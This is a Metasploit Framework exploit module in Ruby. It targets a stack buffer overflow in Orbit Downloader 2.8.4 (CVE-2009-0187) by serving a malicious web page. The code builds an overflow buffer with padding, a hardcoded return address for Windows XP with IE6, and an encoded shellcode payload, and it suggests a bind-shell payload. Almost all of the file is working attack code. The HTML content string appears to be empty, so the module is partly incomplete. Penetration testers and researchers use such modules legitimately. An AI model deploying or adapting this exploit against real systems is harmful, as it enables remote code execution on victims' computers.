## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Orbit Downloader 2.8.4. When an attacker serves up a malicious web site, abritrary code may be executed. The PAYLOAD windows/shell_bind_tcp works best. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2009-0187' ], [ 'OSVDB', '52294' ], [ 'BID', '33894' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x09\x0a\x0d'\\&", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2', { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6 ], 'DisclosureDate' => 'Feb 3 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com" # Build out the message content = %Q| | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end